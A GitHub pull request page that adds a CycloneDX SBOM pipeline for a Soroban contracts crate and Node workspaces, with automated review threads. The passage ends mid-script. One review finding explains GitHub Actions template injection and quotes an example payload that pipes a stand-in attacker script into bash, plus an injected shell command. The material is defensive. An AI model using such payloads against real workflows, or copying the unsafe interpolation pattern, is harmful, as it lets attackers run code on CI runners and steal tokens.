Skip to content

[SECURITY] SBOM generation pipeline for contracts and backend (#1531) - #1554

Open
Meet-hybrid wants to merge 2 commits into
ritik4ever:mainfrom
Meet-hybrid:feat/security-sbom-generation
Open

[SECURITY] SBOM generation pipeline for contracts and backend (#1531)#1554
Meet-hybrid wants to merge 2 commits into
ritik4ever:mainfrom
Meet-hybrid:feat/security-sbom-generation

Conversation

@Meet-hybrid

@Meet-hybrid Meet-hybrid commented Jul 27, 2026

Copy link
Copy Markdown
Contributor

Description

Adds a CycloneDX 1.6 SBOM generation pipeline that produces JSON SBOMs for the Soroban contracts crate (cargo-cyclonedx) and the Node backend + frontend workspaces (@cyclonedx/cyclonedx-npm). Generation runs on every PR + push to main + GitHub release via a new .github/workflows/sbom.yml, and the same artifacts are produced locally through npm run sbom plus per-ecosystem helpers.

Pipeline at a glance

.github/workflows/sbom.yml (PR + push to main + release: published + workflow_dispatch)

├─ Node 20 + Rust stable (wasm32-unknown-unknown target) + cargo cache
├─ cargo install cargo-cyclonedx (via scripts/sbom/install-tools.sh)
├─ npm ci --ignore-scripts (backend + frontend; ensures lockfile present)

├─► scripts/sbom/generate-contracts-sbom.sh → security/sbom/contracts.cdx.json → artifact sbom-contracts
├─► scripts/sbom/generate-backend-sbom.sh → security/sbom/backend.cdx.json → artifact sbom-backend
└─► scripts/sbom/generate-frontend-sbom.sh → security/sbom/frontend.cdx.json → artifact sbom-frontend

What changed

New:

  • scripts/sbom/install-tools.sh — idempotent cargo-cyclonedx installer.
  • scripts/sbom/generate-contracts-sbom.sh — cargo-cyclonedx, wasm32 target, --locked, spec 1.6.
  • scripts/sbom/generate-backend-sbom.sh — @cyclonedx/cyclonedx-npm for backend/package-lock.json. Pinned to spec 1.6 (cyclonedx-npm defaults to 1.5).
  • scripts/sbom/generate-frontend-sbom.sh — same tool for frontend/package-lock.json.
  • scripts/sbom/generate-all.sh — drive all three per-ecosystem generators.
  • .github/workflows/sbom.yml — dedicated SBOM Generation workflow (pull_request / push:main / release:published / workflow_dispatch). Uploads three named workflow artifacts.
  • security/SBOM.md — full consumer guide: Dependency-Track (POST /api/v1/bom), Grype (grype sbom:...), Snyk (snyk sbom --file=...), bom-cli/syft round-trip, plus a jq no-tool sanity check.
  • security/sbom/.gitkeep — directory marker so a fresh clone still has the writable target. Generated JSON is gitignored via the standard re-include pattern (/security/sbom/* + !/security/sbom/.gitkeep).

Modified:

  • .github/workflows/build.yml — embeds frontend + backend SBOMs into the existing build bundle (corrected relative-path depth: single .. from frontend/backend/ working-directory → repo-root artifacts/sbom/).
  • contracts/Makefile — adds sbom and install-sbom-tools targets.
  • package.json — top-level scripts sbom, sbom:contracts, sbom:backend, sbom:frontend, sbom:install.
  • backend/package.json + frontend/package.json — @cyclonedx/cyclonedx-npm@^1.10.0 devDep + sbom script.
  • scripts/README.md — new SBOM section.
  • docs/OPERATIONS.md, docs/RELEASE_CHECKLIST.md, CHANGELOG.md — refreshed to reference .github/workflows/sbom.yml, the new scripts, and the SBOM.md consumer guide.

Acceptance criteria coverage (issue #1531)

AC Where it is satisfied
SBOM artifacts generated for both contracts and backend on each release build .github/workflows/sbom.yml triggers on release: published; Generate contracts SBOM + Generate backend SBOM jobs call scripts/sbom/generate-{contracts,backend}-sbom.sh and upload sbom-contracts + sbom-backend artifacts.
SBOM generation runs automatically in CI, not as a manual step Repository-push triggers pull_request, push:main, release:published. Only workflow_dispatch is manual.
Documentation explains how to consume the generated SBOM security/SBOM.md covers Dependency-Track, Grype, Snyk, syft/bom-cli ingestion recipes, plus a jq sanity check.

Local usage

npm run sbom # all three ecosystems
npm run sbom:contracts # contracts only
npm run sbom:backend # backend only
npm run sbom:frontend # frontend only
npm run sbom:install # install cargo-cyclonedx (idempotent)

Or per-target:

bash scripts/sbom/generate-all.sh
(cd contracts && make sbom)

Output path is security/sbom/{contracts,backend,frontend}.cdx.json in both local runs and CI.

Verification plan

  • bash -n syntax check passes on every script in scripts/sbom/.
  • .github/workflows/sbom.yml parses as valid YAML.
  • All three package.json files parse as valid JSON.
  • git check-ignore -v security/sbom/.gitkeep → not ignored (the standard re-include pattern works).
  • Per-script trap 'cd ""' EXIT resets PWD on exit.
  • Tool version pin rationale documented in-script (@cyclonedx/cyclonedx-npm defaults to 1.5; we ship 1.6).

Type of Change

  • DevOps / CI / Documentation update
  • New feature (non-breaking change which adds functionality) — SBOM generation is opt-in but on by default in CI.

Checklist

  • My code follows the style guidelines of this project
  • I have performed a self-review of my own code
  • I have commented my code, particularly in hard-to-understand areas
  • I have made corresponding changes to the documentation — security/SBOM.md, scripts/README.md, docs/OPERATIONS.md, docs/RELEASE_CHECKLIST.md, CHANGELOG.md
  • I have made no new warnings
  • This PR links to an issuecloses [SECURITY] Add SBOM generation for contracts and backend dependencies #1531
  • I have added tests that prove my fix is effective or that my feature works — N/A (CI artifacts + downstream tooling verification)
  • New and existing unit tests pass locally with my changes — N/A (docs/CI only)

closes #1531

Summary by CodeRabbit

  • New Features

    • Added automated CycloneDX SBOM generation for contracts, backend, and frontend components.
    • SBOMs are produced during builds and published as downloadable workflow artifacts and release assets.
    • Added local commands for generating individual SBOMs or a complete bundle.
  • Documentation

    • Added guidance for generating, downloading, verifying, and consuming SBOM artifacts.
    • Updated release and operations checklists with SBOM and attestation verification steps.

@vercel

vercel Bot commented Jul 27, 2026

Copy link
Copy Markdown

@Meet-hybrid is attempting to deploy a commit to the ritik4ever's projects Team on Vercel.

A member of the Team first needs to authorize it.

@coderabbitai

coderabbitai Bot commented Jul 27, 2026

Copy link
Copy Markdown
Contributor

Review Change Stack

Warning

Review limit reached

@Meet-hybrid, you've reached your PR review limit, so we couldn't start this review.

Next review available in: 38 minutes

Enable usage-based reviews in Billing to review now. Otherwise, wait until the next included review is available.
You're only billed for reviews past your plan's rate limits ($0.25/file).

How can I continue?

After more reviews become available, a review can be triggered using the @coderabbitai review command as a PR comment. Alternatively, push new commits to this PR.

To avoid repeated limits, reduce automatic review volume by pausing incremental auto-reviews earlier, using label-based review opt-in, excluding WIP or generated PR titles, or requesting reviews manually when the PR is ready. If your team needs uninterrupted high-volume reviews, an organization admin can enable usage-based reviews.

How do review limits work?

CodeRabbit enforces per-developer PR review limits for each organization. Most developers receive the normal plan review availability.

For paid Pro and Pro+ PR reviews, CodeRabbit uses adaptive limits for sustained high-volume activity. When a developer's recent PR review activity reaches the 95th percentile or higher among CodeRabbit users, additional reviews become available more gradually as earlier reviews age out of the rolling window.

Please refer docs for additional details.

Review details
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro Plus

Run ID: aec5c90b-b53a-4dd0-8e9e-32119ad4b190

📥 Commits

Reviewing files that changed from the base of the PR and between 0e823ec and fa18ce1.

📒 Files selected for processing (7)
  • .github/workflows/contract-deploy.yml
  • .github/workflows/contract-smoke.yml
  • .github/workflows/dep-scan.yml
  • .github/workflows/install-script.yml
  • .github/workflows/performance-test.yml
  • .github/workflows/pr-lint.yml
  • scripts/sbom/generate-contracts-sbom.sh
📝 Walkthrough

Walkthrough

The repository adds local and CI generation of CycloneDX SBOMs for contracts, backend, and frontend dependencies. Workflows upload component artifacts and include selected SBOMs in build artifacts. Documentation covers generation, verification, retrieval, and consumption.

Changes

SBOM pipeline

Layer / File(s) Summary
Generator scripts and tool installation
scripts/sbom/*
Scripts install SBOM tools and generate validated contracts, backend, frontend, and aggregate SBOM files.
Package and Make entrypoints
package.json, backend/package.json, frontend/package.json, contracts/Makefile, contracts/Cargo.toml
Package and Make commands expose SBOM generation. The contracts dependency configuration removes the regular ed25519-dalek dependency.
Workflow generation and artifact handling
.github/workflows/sbom.yml, .github/workflows/build.yml
GitHub Actions generates and uploads three SBOMs. The build workflow copies frontend and backend SBOMs into the build artifact workspace.
Repository guidance and generated-output handling
.gitignore, CHANGELOG.md, docs/..., scripts/README.md, security/...
Documentation and repository metadata describe commands, artifacts, verification, consumption, release checks, and ignored generated files.

Estimated code review effort: 4 (Complex) | ~45 minutes

Sequence Diagram(s)

sequenceDiagram
  participant Workflow as SBOM workflow
  participant Tools as install-tools.sh
  participant Generators as SBOM generators
  participant Artifacts as GitHub artifacts
  Workflow->>Tools: Install and verify tools
  Workflow->>Generators: Generate three CycloneDX SBOMs
  Generators-->>Workflow: Return JSON SBOM files
  Workflow->>Artifacts: Upload component SBOM artifacts
Loading

Possibly related PRs

Suggested reviewers: xqcxx

🚥 Pre-merge checks | ✅ 4 | ❌ 1

❌ Failed checks (1 warning)

Check name Status Explanation Resolution
Out of Scope Changes check ⚠️ Warning Removing ed25519-dalek and the Windows resolver dependency is not tied to the linked SBOM requirements. Move the unrelated dependency removals to a separate pull request, or document their direct necessity for the SBOM pipeline.
✅ Passed checks (4 passed)
Check name Status Explanation
Title check ✅ Passed The title clearly identifies the SBOM pipeline for the contracts and backend, which are the primary issue requirements.
Description check ✅ Passed The description includes a clear summary, verification plan, change type, checklist, and issue link, but omits the template's explicit Release Notes section.
Linked Issues check ✅ Passed The workflow and scripts cover contract and backend SBOMs, release uploads, automatic CI triggers, and consumer documentation required by issue #1531.
Docstring Coverage ✅ Passed No functions found in the changed files to evaluate docstring coverage. Skipping docstring coverage check.
✨ Finishing Touches 💡 1
🛠️ Fix failing CI checks 💡
  • Create stacked PR
  • Commit on current branch
🧪 Generate unit tests (beta)
  • Create PR with unit tests

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

Comment @coderabbitai help to get the list of available commands.

@Meet-hybrid
Meet-hybrid force-pushed the feat/security-sbom-generation branch from f7f6ede to 77f60b0 Compare July 27, 2026 08:59
@drips-wave

drips-wave Bot commented Jul 27, 2026

Copy link
Copy Markdown

@Meet-hybrid Great news! 🎉 Based on an automated assessment of this PR, the linked Wave issue(s) no longer count against your application limits.

You can now already apply to more issues while waiting for a review of this PR. Keep up the great work! 🚀

Learn more about application limits

@ritik4ever

Copy link
Copy Markdown
Owner

Hi @Meet-hybrid,

This PR could not be merged because it has merge conflicts with the target branch.

Please resolve the merge conflicts, push the updated changes, and the PR can be reviewed and merged.

Thank you!

1 similar comment
@ritik4ever

Copy link
Copy Markdown
Owner

Hi @Meet-hybrid,

This PR could not be merged because it has merge conflicts with the target branch.

Please resolve the merge conflicts, push the updated changes, and the PR can be reviewed and merged.

Thank you!

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 8

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/sbom.yml:
- Around line 85-104: Update the Upload contracts SBOM, Upload backend SBOM, and
Upload frontend SBOM steps to attach their generated security/sbom/*.cdx.json
files to the published GitHub release on release runs, while retaining the
existing workflow-artifact uploads for pull requests and branch builds.

In `@backend/package.json`:
- Line 96: Regenerate and commit the lockfiles matching the new
`@cyclonedx/cyclonedx-npm` dependency: update backend/package-lock.json for
backend/package.json lines 96-96 and frontend/package-lock.json for
frontend/package.json lines 77-77, ensuring both npm ci workflows can install
successfully.

In `@contracts/Makefile`:
- Around line 144-148: The contracts-only sbom target must not depend on Node or
npx. Update the `contracts` Makefile `sbom` target and the `install-tools.sh`
preflight flow to support a Cargo-only mode, invoking that mode so it validates
or installs only `cargo-cyclonedx` before `generate-contracts-sbom.sh` runs.

In `@docs/OPERATIONS.md`:
- Line 157: Update the documentation around the artifact verification statement
to remove the unsupported contract attestation claim. Limit the investigator
correlation to the contract SBOM and the workflow run’s commit SHA unless the
workflows also publish a contract attestation.

In `@scripts/sbom/generate-backend-sbom.sh`:
- Around line 44-54: Pin the CycloneDX CLI to an exact checked-in version in
both scripts: scripts/sbom/generate-backend-sbom.sh lines 44-54 and
scripts/sbom/generate-frontend-sbom.sh lines 43-51. Replace the caret-based
`@cyclonedx/cyclonedx-npm`@^1 package reference used by npx with the exact version
used by the repository lockfile, keeping the existing SBOM arguments unchanged.

In `@scripts/sbom/install-tools.sh`:
- Around line 10-11: Update scripts/sbom/install-tools.sh at lines 10-11 and
17-18 and scripts/sbom/generate-contracts-sbom.sh at lines 42-48 so the
installed cargo-cyclonedx version supports the contract SBOM command, or replace
--override-fingerprint, --output-file, and --spec-version 1.6 with equivalents
supported by the pinned 0.5.4 tool. Ensure generate-contracts-sbom.sh completes
successfully while preserving the intended output filename, fingerprint
behavior, and SBOM specification requirements.

In `@security/SBOM.md`:
- Around line 122-129: Update the SBOM workflow documentation and corresponding
release workflow so the release-only path attaches all three generated .cdx.json
files as GitHub Release assets, rather than relying solely on retained workflow
artifacts. Preserve the existing artifact upload behavior for other runs and
ensure the release upload runs only for published releases.
- Around line 140-148: Update the Dependency-Track upload recipe in the SBOM
documentation to use the required X-Api-Key header instead of Basic
authentication and include project metadata. Prefer the documented multipart
upload with autoCreate=true, projectName, projectVersion, and
bom=`@security/sbom/backend.cdx.json`; alternatively, include project metadata in
the JSON payload while retaining the API-key header.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro Plus

Run ID: ae61550c-eee4-43dc-bb02-a58471cce74e

📥 Commits

Reviewing files that changed from the base of the PR and between ac122d6 and d2363e1.

📒 Files selected for processing (18)
  • .github/workflows/build.yml
  • .github/workflows/sbom.yml
  • .gitignore
  • CHANGELOG.md
  • backend/package.json
  • contracts/Makefile
  • docs/OPERATIONS.md
  • docs/RELEASE_CHECKLIST.md
  • frontend/package.json
  • package.json
  • scripts/README.md
  • scripts/sbom/generate-all.sh
  • scripts/sbom/generate-backend-sbom.sh
  • scripts/sbom/generate-contracts-sbom.sh
  • scripts/sbom/generate-frontend-sbom.sh
  • scripts/sbom/install-tools.sh
  • security/SBOM.md
  • security/sbom/.gitkeep

Comment thread .github/workflows/sbom.yml
Comment thread backend/package.json Outdated
Comment thread contracts/Makefile Outdated
Comment thread docs/OPERATIONS.md
Comment thread scripts/sbom/generate-backend-sbom.sh
Comment thread scripts/sbom/install-tools.sh Outdated
Comment thread security/SBOM.md
Comment thread security/SBOM.md

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🧹 Nitpick comments (1)
contracts/Makefile (1)

217-425: 📐 Maintainability & Code Quality | 🔵 Trivial | ⚡ Quick win

Remove the duplicate Makefile body.

Lines 217-425 redefine targets that already exist above. GNU Make emits recipe override warnings and uses the later recipes. This can hide changes in the first definitions.

Keep one definition for each target. Merge test-integration and test-testnet into the retained target set before removing this duplicate block.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In `@contracts/Makefile` around lines 217 - 425, Remove the duplicate Makefile
target block beginning with the repeated default/build targets, retaining only
one definition for each target. Before deleting it, merge the test-integration
and test-testnet targets into the retained target set, then verify no duplicate
target recipes remain and existing targets continue to use the intended
commands.

Source: Linters/SAST tools

🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Nitpick comments:
In `@contracts/Makefile`:
- Around line 217-425: Remove the duplicate Makefile target block beginning with
the repeated default/build targets, retaining only one definition for each
target. Before deleting it, merge the test-integration and test-testnet targets
into the retained target set, then verify no duplicate target recipes remain and
existing targets continue to use the intended commands.

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro Plus

Run ID: 78de2652-4332-402e-a41b-a44f08601637

📥 Commits

Reviewing files that changed from the base of the PR and between d2363e1 and bf3ca2c.

📒 Files selected for processing (2)
  • contracts/Makefile
  • frontend/package.json
💤 Files with no reviewable changes (1)
  • frontend/package.json

@coderabbitai coderabbitai Bot left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Actionable comments posted: 7

🧹 Nitpick comments (1)
.github/workflows/sbom.yml (1)

112-115: 🩺 Stability & Availability | 🔵 Trivial | ⚡ Quick win

Make release uploads safe to rerun.

If a release run is retried after an asset upload succeeds, gh release upload rejects the existing asset name unless --clobber is used. A transient failure can leave the release incomplete and make normal retries fail.

If retries should repair the release, add --clobber or explicitly handle existing assets.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/sbom.yml around lines 112 - 115, Update the gh release
upload invocation in the release workflow to use --clobber, allowing retries to
replace already-uploaded SBOM assets while preserving the existing tag and asset
list.
🤖 Prompt for all review comments with AI agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

Inline comments:
In @.github/workflows/sbom.yml:
- Line 15: Update the SBOM workflow so the release upload runs in a dedicated
release-only job with contents: write permission. Move the gh release upload
step into that job, download the generated SBOM artifacts there, and keep the
artifact-generation job read-scoped.
- Line 112: Update the release upload step containing gh release upload so
github.event.release.tag_name is passed through the step’s environment and
referenced via a quoted shell variable in the run block, avoiding direct GitHub
expression interpolation in shell commands.

In `@scripts/sbom/install-tools.sh`:
- Around line 10-11: Update the usage comments for scripts/sbom/install-tools.sh
to accurately describe its behavior: it validates Cargo, Node.js, and npx, then
installs cargo-cyclonedx, rather than installing Rust or Node.js toolchains.
Either revise the comments to state validation and plugin installation or
implement the claimed toolchain installation steps, while preserving the
--rust-only behavior.
- Line 12: Update the cargo-cyclonedx version pin and validation in
install-tools.sh so clean runners install a published release compatible with
generate-contracts-sbom.sh. Ensure the version check rejects older installations
that cannot support --spec-version 1.6 and --output-file, or adjust the contract
generation options based on the installed version; keep the pinned override
behavior intact.

In `@security/SBOM.md`:
- Around line 143-144: Update the curl invocation in the SBOM upload recipe so
DT_API_KEY is not expanded into the process argument list; use a protected curl
configuration or another secret transport while preserving the X-Api-Key header
behavior.
- Line 147: Update the documented permissions for the POST /api/v1/bom example
using autoCreate=true to include PROJECT_CREATION_UPLOAD alongside the existing
upload permission, and keep the X-Api-Key requirement documented.
- Line 143: Update the curl invocation in the Dependency-Track upload command to
include both --fail-with-body and --show-error, ensuring HTTP 4xx/5xx responses
produce a non-zero exit while preserving the response body and error output.

---

Nitpick comments:
In @.github/workflows/sbom.yml:
- Around line 112-115: Update the gh release upload invocation in the release
workflow to use --clobber, allowing retries to replace already-uploaded SBOM
assets while preserving the existing tag and asset list.
🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

  • Push a commit to this branch (recommended)
  • Create a new PR with the fixes

ℹ️ Review info
⚙️ Run configuration

Configuration used: defaults

Review profile: CHILL

Plan: Pro Plus

Run ID: 848edea5-ff19-40a5-abe0-ee77d4ba2395

📥 Commits

Reviewing files that changed from the base of the PR and between bf3ca2c and 107c508.

⛔ Files ignored due to path filters (3)
  • backend/package-lock.json is excluded by !**/package-lock.json
  • frontend/package-lock.json is excluded by !**/package-lock.json
  • package-lock.json is excluded by !**/package-lock.json
📒 Files selected for processing (10)
  • .github/workflows/sbom.yml
  • backend/package.json
  • contracts/Makefile
  • docs/OPERATIONS.md
  • frontend/package.json
  • scripts/README.md
  • scripts/sbom/generate-backend-sbom.sh
  • scripts/sbom/generate-frontend-sbom.sh
  • scripts/sbom/install-tools.sh
  • security/SBOM.md
🚧 Files skipped from review as they are similar to previous changes (7)
  • backend/package.json
  • scripts/sbom/generate-backend-sbom.sh
  • scripts/sbom/generate-frontend-sbom.sh
  • scripts/README.md
  • frontend/package.json
  • contracts/Makefile
  • docs/OPERATIONS.md

Comment thread .github/workflows/sbom.yml Outdated

permissions:
contents: read
# GITHUB_TOKEN is sufficient for gh release upload in release runs.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | 🏗️ Heavy lift

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== workflow excerpt =="
wc -l .github/workflows/sbom.yml
sed -n '1,220p' .github/workflows/sbom.yml

echo
echo "== changed lines stat =="
git diff -- .github/workflows/sbom.yml | sed -n '1,220p'

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 4457


🌐 Web query:

GitHub CLI gh release upload permissions releases:write contents write token

💡 Result:

To use the GitHub CLI (gh) to upload assets to a release, the token being used must have specific repository permissions. In a GitHub Actions workflow, the default GITHUB_TOKEN requires the contents: write permission to upload release assets [1][2]. You must explicitly define this in your workflow YAML file, as the default permission for GITHUB_TOKEN is often read-only for repository contents [3][2]. Example configuration for a GitHub Actions job: permissions: contents: write jobs: upload: runs-on: ubuntu-latest permissions: contents: write steps: - run: gh release upload ... If you are using a personal access token (PAT) instead of the GITHUB_TOKEN—such as when running commands locally or when the GITHUB_TOKEN has limitations—the token must be configured with access to the repository. For fine-grained personal access tokens, this requires selecting the "Contents" repository permission with "Access: Read and write" [3]. For classic personal access tokens, the repo scope is required [4][5]. Note that if your workflow triggers on the release event (e.g., on: release: types: [published]), the default GITHUB_TOKEN will not be able to trigger another workflow [1][6]. In such cases, you must use a personal access token with appropriate permissions [1][7]. Also, when modifying workflow files or performing specific repository operations, additional permissions like workflows: write may be required depending on the target commit [8].

Citations:


Use a write-scoped release job.

This job uses contents: read, but gh release upload needs the release action to have write access for the release assets. Use a release-only job with contents: write, download the generated SBOM artifacts there, and run the upload only in that job.

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/sbom.yml at line 15, Update the SBOM workflow so the
release upload runs in a dedicated release-only job with contents: write
permission. Move the gh release upload step into that job, download the
generated SBOM artifacts there, and keep the artifact-generation job
read-scoped.

Comment thread .github/workflows/sbom.yml Outdated
env:
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
gh release upload "${{ github.event.release.tag_name }}" \

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🔒 Security & Privacy | 🟠 Major | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo "== workflow excerpt =="
sed -n '90,125p' .github/workflows/sbom.yml 2>/dev/null || true

echo "== all interpolations in run/env blocks =="
rg -n '\$\{\{ github\.event\.release\.tag_name \}\}' .github/workflows/sbom.yml || true

echo "== nearby release tag usage =="
rg -n 'release\.tag_name|gh release upload|GITHUB_TOKEN|release upload' .github/workflows/sbom.yml || true

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 1937


🌐 Web query:

GitHub Actions shell commands injection unsafe interpolation repository variables environment variables documentation

💡 Result:

GitHub Actions workflows are vulnerable to shell injection when untrusted input is interpolated directly into run blocks using the ${{ }} syntax [1][2][3]. This occurs because the GitHub Actions runner evaluates and expands these expressions before the shell processes the script, effectively allowing an attacker to escape intended commands and execute arbitrary code on the runner [1][4]. To secure workflows against this vulnerability, you must avoid direct interpolation of untrusted values in run commands [1][5][6]. Best Practices for Mitigation: 1. Use Intermediate Environment Variables: The most effective defense is to assign untrusted input (such as repository variables, secrets, or event context) to an environment variable within the env block of a workflow step [2][3][5]. You then reference this environment variable using standard shell syntax (e.g., $MY_VAR) within the run script [2][3][4]. Because the expression is handled by the environment assignment rather than being injected directly into the script string, it is treated as a literal value and not as executable code [7][5][8]. Example of Secure Pattern: - name: Securely use input env: # Assign input to an env variable first USER_INPUT: ${{ github.event.inputs.my_input }} run: | # Reference the env variable in the shell script echo "Processing input: $USER_INPUT" 2. Validate Inputs: Even when using environment variables, implement strict validation (e.g., regex checks) for any input originating from untrusted sources like pull requests, issue comments, or workflow dispatches [2][3][8]. 3. Minimize Permissions: Limit the GITHUB_TOKEN permissions for your workflows to the minimum required level (preferably read-only by default) to reduce the impact if an injection vulnerability is exploited [6][9][8]. Avoid using dangerous triggers like pull_request_target or workflow_run for workflows that handle untrusted input, as these can grant elevated privileges or allow access to secrets that would otherwise be restricted [6][9][8]. 4. Use Actions or Scripts: Where possible, use dedicated JavaScript actions or other mechanisms that do not rely on generating shell scripts to process data [5]. By treating inputs as arguments to a program rather than parts of a shell command string, you eliminate the risk of script injection entirely [5].

Citations:


🌐 Web query:

GitHub Actions ghsa-3g6g-gq4r-xjm9 environment variable interpolation ${} command injection

💡 Result:

GHSA-3g6g-gq4r-xjm9 (also tracked as CVE-2026-35580) refers to a command injection vulnerability discovered in the Emissary project [1][2]. This vulnerability stemmed from the direct interpolation of user-controlled workflow_dispatch inputs into GitHub Actions run blocks using the ${{ }} expression syntax [3][4]. In GitHub Actions, expressions inside ${{ }} are evaluated and substituted before the shell executes the command [3][5]. When these expressions include untrusted data—such as input values—the shell may interpret injected characters (like backticks, semicolons, or quotes) as part of the command, allowing an attacker to execute arbitrary code on the runner [3][5]. Key aspects of this vulnerability and its remediation include: Vulnerability Mechanism: The use of ${{ inputs.* }} directly within a run: block enables attackers to break out of the intended command context [3][1]. For example, an input like 1.0.0"; curl attacker.com/backdoor.sh | bash; echo " would be interpolated directly into the script, executing the malicious payload [3][4]. Remediation Strategy: The vulnerability was fixed by adopting environment variable indirection [3][6]. Instead of using direct interpolation, the untrusted input is first assigned to an environment variable in the env: block [1][7]. The environment variable is then safely referenced within the run: script [3][7]. Example of the secure pattern: - name: Example step env: SAFE_INPUT: ${{ github.event.inputs.my_input }} run: | echo "Processing $SAFE_INPUT" Additionally, the project implemented strict input validation using regular expressions to ensure that user inputs conform to expected formats before they are processed [3][4]. Organizations are advised to audit their own GitHub Actions workflows for similar patterns of direct ${{ }} interpolation and apply these same mitigation techniques [6][8].

Citations:


🌐 Web query:

GitHub Actions script injection reference environment variables $MY_VAR command substitution

💡 Result:

In GitHub Actions, using expressions like ${{ github.event.pull_request.title }} directly within a run command is a major security vulnerability known as script injection [1][2][3]. Because the ${{ }} syntax is expanded by the runner before the shell script executes, an attacker can supply malicious input (e.g., "; ls $GITHUB_WORKSPACE") that terminates the intended command and injects arbitrary code [1][3]. To mitigate this risk, you must avoid interpolating untrusted input directly into your run commands [4][5]. Correct Pattern: Use Intermediate Environment Variables The authoritative way to handle potentially untrusted input is to map it to an environment variable in the env block, then reference that environment variable using the target shell’s native syntax (e.g., $MY_VAR in Bash) [4][2][6]. Example of secure usage: jobs: secure-example: runs-on: ubuntu-latest steps: - name: Securely use untrusted input env: MY_VAR: ${{ github.event.pull_request.title }} run: | # Use shell variable syntax, not ${{ env.MY_VAR }} echo "$MY_VAR" Why this is secure: 1. The ${{ }} expression is only evaluated during the assignment in the env block [3]. It is treated as data, not as part of the executable shell script [6][7]. 2. Referencing the variable via "$MY_VAR" (in quotes) inside the run script ensures the shell treats the content as a single string, preventing command injection and word splitting [4][3][6]. Common Mistake: Do not use ${{ env.MY_VAR }} inside the run block. Doing so re-invokes the ${{ }} expression evaluator, which defeats the security purpose and effectively re-introduces the injection vulnerability [5][8]. Always use standard shell syntax like $MY_VAR or process.env.MY_VAR (for JavaScript actions) to access the data [4][5][6].

Citations:


Do not interpolate the release tag directly into the shell script.

GitHub evaluates ${{ github.event.release.tag_name }} before Bash runs, so a tag containing shell syntax can execute commands on the runner and use the step’s GITHUB_TOKEN.

Pass the value through an environment variable instead, then reference that variable in the run block.

Proposed fix
         env:
           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
+          RELEASE_TAG: ${{ github.event.release.tag_name }}
         run: |
-          gh release upload "${{ github.event.release.tag_name }}" \
+          gh release upload "$RELEASE_TAG" \
🧰 Tools
🪛 zizmor (1.28.0)

[error] 112-112: code injection via template expansion (template-injection): may expand into attacker-controllable code

(template-injection)

🤖 Prompt for AI Agents
Verify each finding against current code. Fix only still-valid issues, skip the
rest with a brief reason, keep changes minimal, and validate.

In @.github/workflows/sbom.yml at line 112, Update the release upload step
containing gh release upload so github.event.release.tag_name is passed through
the step’s environment and referenced via a quoted shell variable in the run
block, avoiding direct GitHub expression interpolation in shell commands.

Source: Linters/SAST tools

Comment thread scripts/sbom/install-tools.sh Outdated
Comment thread scripts/sbom/install-tools.sh Outdated
Comment thread security/SBOM.md Outdated
```bash
# Upload a single SBOM via the auto-create multipart endpoint.
# Requires an X-Api-Key header (not Basic auth).
curl -X POST "${DT_BASE_URL}/api/v1/bom" \

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🩺 Stability & Availability | 🟡 Minor | ⚡ Quick win

🧩 Analysis chain

🏁 Script executed:

#!/bin/bash
set -euo pipefail

printf '--- security/SBOM.md around line 143 ---\n'
if [ -f security/SBOM.md ]; then
  sed -n '130,160p' security/SBOM.md | cat -n
else
  printf 'security/SBOM.md not found\n'
fi

printf '\n--- curl invocations in SBOM docs ---\n'
rg -n 'curl|bom|DT_BASE_URL|DSC_BASE_URL' security/SBOM.md 2>/dev/null || true

printf '\n--- curl availability and version ---\n'
if command -v curl >/dev/null 2>&1; then
  curl --version | head -5
else
  printf 'curl not available\n'
fi

printf '\n--- Read-only parser check for line 143 ---\n'
python3 - <<'PY'
from pathlib import Path
p=Path('security/SBOM.md')
if p.exists():
    lines=p.read_text().splitlines()
    if 143 <= len(lines):
        print(f'line_143_has_curl={"curl" in lines[142]}')
        print(f'line_143_has_fail={"--fail" in lines[142] or "--fail-with-body" in lines[142]}')
        print(f'line_143={lines[142]}')
    else:
        print('line_missing')
PY

Repository: ritik4ever/stellar-portfolio-rebalancer

Length of output: 268


🏁 Script executed:

#!/bin/bash
set -euo pipefail

echo '--- security/SBOM.md around line 143 ---'
if [ -f security/SBOM.md ]; then
